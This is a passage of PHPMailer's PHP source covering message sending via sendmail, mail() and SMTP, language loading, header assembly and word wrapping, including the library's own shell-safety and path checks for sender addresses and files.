&& !empty($this->DKIM_selector)
&& (!empty($this->DKIM_private_string)
|| (!empty($this->DKIM_private)
&& static::isPermittedPath($this->DKIM_private)
&& file_exists($this->DKIM_private)
)
)
) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE .
static::normalizeBreaks($header_dkim) . static::$LE;
}
return true;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Actually send a message via the selected mechanism.
*
* @throws Exception
*
* @return bool
*/
public function postSend()
{
try {
//Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer . 'Send';
if (method_exists($this, $sendMethod)) {
return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) {
$this->smtp->reset();
}
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
/**
* Send mail using the $Sendmail program.
*
* @see PHPMailer::$Sendmail
*
* @param string $header The message headers
* @param string $body The message body
*
* @throws Exception
*
* @return bool
*/
protected function sendmailSend($header, $body)
{
if ($this->Mailer === 'qmail') {
$this->edebug('Sending with qmail');
} else {
$this->edebug('Sending with sendmail');
}
$header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
//A space after `-f` is optional, but there is a long history of its presence
//causing problems, so we don't use one
//Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
//Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html
//Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html
//Example problem: https://www.drupal.org/node/1057954
//PHP 5.6 workaround
$sendmail_from_value = ini_get('sendmail_from');
if (empty($this->Sender) && !empty($sendmail_from_value)) {
//PHP config has a sender address we can use
$this->Sender = ini_get('sendmail_from');
}
//CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) {
if ($this->Mailer === 'qmail') {
$sendmailFmt = '%s -f%s';
} else {
$sendmailFmt = '%s -oi -f%s -t';
}
} else {
//allow sendmail to choose a default envelope sender. It may
//seem preferable to force it to use the From header as with
//SMTP, but that introduces new problems (see
//<https://github.com/PHPMailer/PHPMailer/issues/2298>), and
//it has historically worked this way.
$sendmailFmt = '%s -oi -t';
}
$sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
$this->edebug('Sendmail path: ' . $this->Sendmail);
$this->edebug('Sendmail command: ' . $sendmail);
$this->edebug('Envelope sender: ' . $this->Sender);
$this->edebug("Headers: {$header}");
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
$mail = @popen($sendmail, 'w');
if (!$mail) {
throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
$this->edebug("To: {$toAddr}");
fwrite($mail, 'To: ' . $toAddr . "\n");
fwrite($mail, $header);
fwrite($mail, $body);
$result = pclose($mail);
$addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
$this->doCallback(
($result === 0),
[[$addrinfo['address'], $addrinfo['name']]],
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From,
[]
);
$this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
if (0 !== $result) {
throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
$mail = @popen($sendmail, 'w');
if (!$mail) {
throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fwrite($mail, $header);
fwrite($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result === 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From,
[]
);
$this->edebug("Result: " . ($result === 0 ? 'true' : 'false'));
if (0 !== $result) {
throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
/**
* Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
* Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
*
* @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
*
* @param string $string The string to be validated
*
* @return bool
*/
protected static function isShellSafe($string)
{
//It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg,
//but some hosting providers disable it, creating a security problem that we don't want to have to deal with,
//so we don't.
if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) {
return false;
}
if (
escapeshellcmd($string) !== $string
|| !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
) {
return false;
}
$length = strlen($string);
for ($i = 0; $i < $length; ++$i) {
$c = $string[$i];
//All other characters have a special meaning in at least one common shell, including = and +.
//Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
//Note that this does permit non-Latin alphanumeric characters based on the current locale.
if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
return false;
}
}
return true;
}
/**
* Check whether a file path is of a permitted type.
* Used to reject URLs and phar files from functions that access local file paths,
* such as addAttachment.
*
* @param string $path A relative or absolute path to a file
*
* @return bool
*/
protected static function isPermittedPath($path)
{
//Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1
return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
}
/**
* Check whether a file path is safe, accessible, and readable.
*
* @param string $path A relative or absolute path to a file
*
* @return bool
*/
protected static function fileIsAccessible($path)
{
if (!static::isPermittedPath($path)) {
return false;
}
$readable = is_file($path);
//If not a UNC path (expected to start with \\), check read permission, see #2069
if (strpos($path, '\\\\') !== 0) {
$readable = $readable && is_readable($path);
}
return $readable;
}
/**
* Send mail using the PHP mail() function.
*
* @see http://www.php.net/manual/en/book.mail.php
*
* @param string $header The message headers
* @param string $body The message body
*
* @throws Exception
*
* @return bool
*/
protected function mailSend($header, $body)
{
$header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
$toArr = [];
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = trim(implode(', ', $toArr));
//If there are no To-addresses (e.g. when sending only to BCC-addresses)
//the following should be added to get a correct DKIM-signature.
//Compare with $this->preSend()
if ($to === '') {
$to = 'undisclosed-recipients:;';
}
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
//A space after `-f` is optional, but there is a long history of its presence
//causing problems, so we don't use one
//Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
//Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html
//Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html
//Example problem: https://www.drupal.org/node/1057954
//CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
//PHP 5.6 workaround
$sendmail_from_value = ini_get('sendmail_from');
if (empty($this->Sender) && !empty($sendmail_from_value)) {
//PHP config has a sender address we can use
$this->Sender = ini_get('sendmail_from');
}
if (!empty($this->Sender) && static::validateAddress($this->Sender)) {
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo && count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
$this->doCallback(
$result,
[[$addrinfo['address'], $addrinfo['name']]],
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From,
[]
);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation,
* or set one with setSMTPInstance.
*
* @return SMTP
*/
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP();
}
return $this->smtp;
}
/**
* Provide an instance to use for SMTP operations.
*
* @return SMTP
*/
public function setSMTPInstance(SMTP $smtp)
{
$this->smtp = $smtp;
return $this->smtp;
}
/**
* Provide SMTP XCLIENT attributes
*
* @param string $name Attribute name
* @param ?string $value Attribute value
*
* @return bool
*/
public function setSMTPXclientAttribute($name, $value)
{
if (!in_array($name, SMTP::$xclient_allowed_attributes)) {
return false;
}
if (isset($this->SMTPXClient[$name]) && $value === null) {
unset($this->SMTPXClient[$name]);
} elseif ($value !== null) {
$this->SMTPXClient[$name] = $value;
}
return true;
}
/**
* Get SMTP XCLIENT attributes
*
* @return array
*/
public function getSMTPXclientAttributes()
{
return $this->SMTPXClient;
}
/**
* Send mail via SMTP.
* Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
*
* @see PHPMailer::setSMTPInstance() to use a different class.
*
* @uses \PHPMailer\PHPMailer\SMTP
*
* @param string $header The message headers
* @param string $body The message body
*
* @throws Exception
*
* @return bool
*/
protected function smtpSend($header, $body)
{
$header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
$bad_rcpt = [];
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
//Sender already validated in preSend()
if ('' === $this->Sender) {
$smtp_from = $this->From;
} else {
$smtp_from = $this->Sender;
}
if (count($this->SMTPXClient)) {
$this->smtp->xclient($this->SMTPXClient);
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
}
$callbacks = [];
//Attempt to send to all recipients
foreach ([$this->to, $this->cc, $this->bcc] as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0], $this->dsn)) {
$error = $this->smtp->getError();
$bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']];
$isSent = false;
} else {
$isSent = true;
}
$callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]];
}
}
//Only send the DATA command if we have viable recipients
if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) {
throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
$smtp_transaction_id = $this->smtp->getLastTransactionID();
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
foreach ($callbacks as $cb) {
$this->doCallback(
$cb['issent'],
[[$cb['to'], $cb['name']]],
[],
[],
$this->Subject,
$body,
$this->From,
['smtp_transaction_id' => $smtp_transaction_id]
);
}
//Create error message for any bad addresses
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
}
return true;
}
/**
* Initiate a connection to an SMTP server.
* Returns false if the operation failed.
*
* @param array $options An array of options compatible with stream_context_create()
*
* @throws Exception
*
* @uses \PHPMailer\PHPMailer\SMTP
*
* @return bool
*/
public function smtpConnect($options = null)
{
if (null === $this->smtp) {
$this->smtp = $this->getSMTPInstance();
}
//If no options are provided, use whatever is set in the instance
if (null === $options) {
$options = $this->SMTPOptions;
}
//Already connected?
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
if ($this->Host === null) {
$this->Host = 'localhost';
}
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = [];
if (
!preg_match(
'/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/',
trim($hostentry),
$hostinfo
)
) {
$this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry));
//Not a valid host entry
continue;
}
//$hostinfo[1]: optional ssl or tls prefix
//$hostinfo[2]: the hostname
//$hostinfo[3]: optional port number
//The host string prefix can temporarily override the current setting for SMTPSecure
//If it's not specified, the default value is used
//Check the host name is a valid name or IP address before trying to use it
if (!static::isValidHost($hostinfo[2])) {
$this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]);
continue;
}
$prefix = '';
$secure = $this->SMTPSecure;
$tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure);
if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; //Can't have SSL and TLS at the same time
$secure = static::ENCRYPTION_SMTPS;
} elseif ('tls' === $hostinfo[1]) {
$tls = true;
//TLS doesn't use a prefix
$secure = static::ENCRYPTION_STARTTLS;
}
//Do we need the OpenSSL extension?
$sslext = defined('OPENSSL_ALGO_SHA256');
if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) {
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
if (!$sslext) {
throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[2];
$port = $this->Port;
if (
array_key_exists(3, $hostinfo) &&
is_numeric($hostinfo[3]) &&
$hostinfo[3] > 0 &&
$hostinfo[3] < 65536
) {
$port = (int) $hostinfo[3];
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
//Automatically enable TLS encryption if:
//* it's not disabled
//* we are not connecting to localhost
//* we have openssl extension
//* we are not already using SSL
//* the server offers STARTTLS
if (
$this->SMTPAutoTLS &&
$this->Host !== 'localhost' &&
$sslext &&
$secure !== 'ssl' &&
$this->smtp->getServerExt('STARTTLS')
) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
$message = $this->getSmtpErrorMessage('connect_host');
throw new Exception($message);
}
//We must resend EHLO after TLS negotiation
$this->smtp->hello($hello);
}
if (
$this->SMTPAuth && !$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->oauth
)
) {
throw new Exception($this->lang('authenticate'));
}
return true;
} catch (Exception $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
//We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->quit();
}
}
}
//If we get here, all connection attempts have failed, so close connection hard
$this->smtp->close();
//As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions && null !== $lastexception) {
throw $lastexception;
}
if ($this->exceptions) {
// no exception was thrown, likely $this->smtp->connect() failed
$message = $this->getSmtpErrorMessage('connect_host');
throw new Exception($message);
}
return false;
}
/**
* Close the active SMTP session if one exists.
*/
public function smtpClose()
{
if ((null !== $this->smtp) && $this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
/**
* Set the language for error messages.
* The default language is English.
*
* @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
* Optionally, the language code can be enhanced with a 4-character
* script annotation and/or a 2-character country annotation.
* @param string $lang_path Path to the language file directory, with trailing separator (slash)
* Do not set this from user input!
*
* @return bool Returns true if the requested language was loaded, false otherwise.
*/
public function setLanguage($langcode = 'en', $lang_path = '')
{
//Backwards compatibility for renamed language codes
$renamed_langcodes = [
'br' => 'pt_br',
'cz' => 'cs',
'dk' => 'da',
'no' => 'nb',
'se' => 'sv',
'rs' => 'sr',
'tg' => 'tl',
'am' => 'hy',
];
if (array_key_exists($langcode, $renamed_langcodes)) {
$langcode = $renamed_langcodes[$langcode];
}
//Define full set of translatable strings in English
$PHPMAILER_LANG = [
'authenticate' => 'SMTP Error: Could not authenticate.',
'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' .
' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' .
' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'extension_missing' => 'Extension missing: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address: ',
'invalid_header' => 'Invalid header name or value',
'invalid_hostentry' => 'Invalid hostentry: ',
'invalid_host' => 'Invalid host: ',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_code' => 'SMTP code: ',
'smtp_code_ex' => 'Additional SMTP info: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_detail' => 'Detail: ',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: ',
];
if (empty($lang_path)) {
//Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
}
//Validate $langcode
$foundlang = true;
$langcode = strtolower($langcode);
if (
!preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches)
&& $langcode !== 'en'
) {
$foundlang = false;
$langcode = 'en';
}
//There is no English translation file
if ('en' !== $langcode) {
$langcodes = [];
if (!empty($matches['script']) && !empty($matches['country'])) {
$langcodes[] = $matches['lang'] . $matches['script'] . $matches['country'];
}
if (!empty($matches['country'])) {
$langcodes[] = $matches['lang'] . $matches['country'];
}
if (!empty($matches['script'])) {
$langcodes[] = $matches['lang'] . $matches['script'];
}
$langcodes[] = $matches['lang'];
//Try and find a readable language file for the requested language.
$foundFile = false;
foreach ($langcodes as $code) {
$lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php';
if (static::fileIsAccessible($lang_file)) {
$foundFile = true;
break;
}
}
if ($foundFile === false) {
$foundlang = false;
} else {
$lines = file($lang_file);
foreach ($lines as $line) {
//Translation file lines look like this:
//$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.';
//These files are parsed as text and not PHP so as to avoid the possibility of code injection
//See https://blog.stevenlevithan.com/archives/match-quoted-string
$matches = [];
if (
preg_match(
'/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/',
$line,
$matches
) &&
//Ignore unknown translation keys
array_key_exists($matches[1], $PHPMAILER_LANG)
) {
//Overwrite language-specific strings so we'll never have missing translation keys.
$PHPMAILER_LANG[$matches[1]] = (string)$matches[3];
}
}
}
}
$this->language = $PHPMAILER_LANG;
return $foundlang; //Returns false if language not found
}
/**
* Get the array of strings for the current language.
*
* @return array
*/
public function getTranslations()
{
if (empty($this->language)) {
$this->setLanguage(); // Set the default language.
}
return $this->language;
}
/**
* Create recipient headers.
*
* @param string $type
* @param array $addr An array of recipients,
* where each recipient is a 2-element indexed array with element 0 containing an address
* and element 1 containing a name, like:
* [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']]
*
* @return string
*/
public function addrAppend($type, $addr)
{
$addresses = [];
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . static::$LE;
}
/**
* Format an address for use in a message header.
*
* @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like
* ['joe@example.com', 'Joe User']
*
* @return string
*/
public function addrFormat($addr)
{
if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided
return $this->secureHeader($addr[0]);
}
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') .
' <' . $this->secureHeader($addr[0]) . '>';
}
/**
* Word-wrap message.
* For use with mailers that do not automatically perform wrapping
* and for quoted-printable encoded messages.
* Original written by philippe.
*
* @param string $message The message to wrap
* @param int $length The line length to wrap to
* @param bool $qp_mode Whether to run in Quoted-Printable mode
*
* @return string
*/
public function wrapText($message, $length, $qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s', static::$LE);
} else {
$soft_break = static::$LE;
}
//If utf-8 encoding is used, we will need to make sure we don't
//split multibyte characters when we wrap
$is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet);
$lelen = strlen(static::$LE);
$crlflen = strlen(static::$LE);
$message = static::normalizeBreaks($message);
//Remove a trailing line break
if (substr($message, -$lelen) === static::$LE) {
$message = substr($message, 0, -$lelen);
}
//Split message into lines
$lines = explode(static::$LE, $message);
//Message will be rebuilt in here
$message = '';
foreach ($lines as $line) {
$words = explode(' ', $line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode && (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if (!$firstword) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif ('=' === substr($word, $len - 1, 1)) {
--$len;
} elseif ('=' === substr($word, $len - 2, 1)) {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', static::$LE);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while ($word !== '') {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif ('=' === substr($word, $len - 1, 1)) {
--$len;
} elseif ('=' === substr($word, $len - 2, 1)) {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = (string) substr($word, $len);
if ($word !== '') {
$message .= $part . sprintf('=%s', static::$LE);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if ('' !== $buf_o && strlen($buf) > $length) {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf . static::$LE;
}
return $message;
}
/**
* Find the last character boundary prior to $maxLength in a utf-8
* quoted-printable encoded string.
* Original written by Colin Brown.
*
* @param string $encodedText utf-8 QP text
* @param int $maxLength Find the last character boundary prior to this length
*
* @return int
*/
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
//Found start of encoded character byte within $lookBack block.
//Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
//Single byte character.
//If the encoded char was found at pos 0, it will fit
//otherwise reduce maxLength to start of the encoded char
if ($encodedCharPos > 0) {
$maxLength -= $lookBack - $encodedCharPos;
}
$foundSplitPos = true;
} elseif ($dec >= 192) {
//First byte of a multi byte character
//Reduce maxLength to split at start of character
$maxLength -= $lookBack - $encodedCharPos;
$foundSplitPos = true;
} elseif ($dec < 192) {
//Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
//No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Apply word wrapping to the message body.
* Wraps the message body to the number of chars set in the WordWrap property.
* You should only do this to plain-text bodies as wrapping HTML tags may break them.
* This is called automatically by createBody(), so you don't need to call it yourself.
*/
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assemble message headers.
*
* @return string The assembled headers
*/
public function createHeader()
{
$result = '';
$result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate);
//The To header is created automatically by mail(), so needs to be omitted here
if ('mail' !== $this->Mailer) {
if ($this->SingleTo) {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
} elseif (count($this->to) > 0) {
$result .= $this->addrAppend('To', $this->to);
} elseif (count($this->cc) === 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]);
//sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
//sendmail and mail() extract Bcc from the header before sending
if (
(
'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer
)
&& count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
//mail() sets the subject itself
if ('mail' !== $this->Mailer) {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
//Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
//https://tools.ietf.org/html/rfc5322#section-3.6.4
if (
'' !== $this->MessageID &&
preg_match(
'/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' .
'|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' .
'|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' .
'(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' .
'|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di',
$this->MessageID
)
) {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
}
$result .= $this->headerLine('Message-ID', $this->lastMessageID);
if (null !== $this->Priority) {
$result .= $this->headerLine('X-Priority', $this->Priority);
}
if ('' === $this->XMailer) {
//Empty string for default X-Mailer header
$result .= $this->headerLine(
'X-Mailer',
'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)'
);
} elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') {
//Some string
$result .= $this->headerLine('X-Mailer', trim($this->XMailer));
} //Other values result in no X-Mailer header
if ('' !== $this->ConfirmReadingTo) {
$result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
}
//Add custom headers
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
/**
* Get the message MIME type headers.
*
* @return string
*/
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
$result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';');
$result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
$result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
break;
default:
//Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
//RFC1341 part 5 says 7bit is assumed if not specified
if (static::ENCODING_7BIT !== $this->Encoding) {
//RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if (static::ENCODING_8BIT === $this->Encoding) {
$result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT);
}
//The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
return $result;
}
/**
* Returns the whole MIME message.
* Includes complete headers and body.
* Only valid post preSend().
*
* @see PHPMailer::preSend()
*
* @return string
*/
public function getSentMIMEMessage()
{
return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) .
static::$LE . static::$LE . $this->MIMEBody;
}
/**
* Create a unique ID to use for boundaries.
*
* @return string
*/
protected function generateId()
{
$len = 32; //32 bytes = 256 bits
$bytes = '';
if (function_exists('random_bytes')) {
try {
$bytes = random_bytes($len);
} catch (\Exception $e) {
//Do nothing
}
} elseif (function_exists('openssl_random_pseudo_bytes')) {
/** @noinspection CryptographicallySecureRandomnessInspection */
$bytes = openssl_random_pseudo_bytes($len);
}
if ($bytes === '') {
//We failed to produce a proper random string, so make do.
//Use a hash to force the length to the same as the other methods
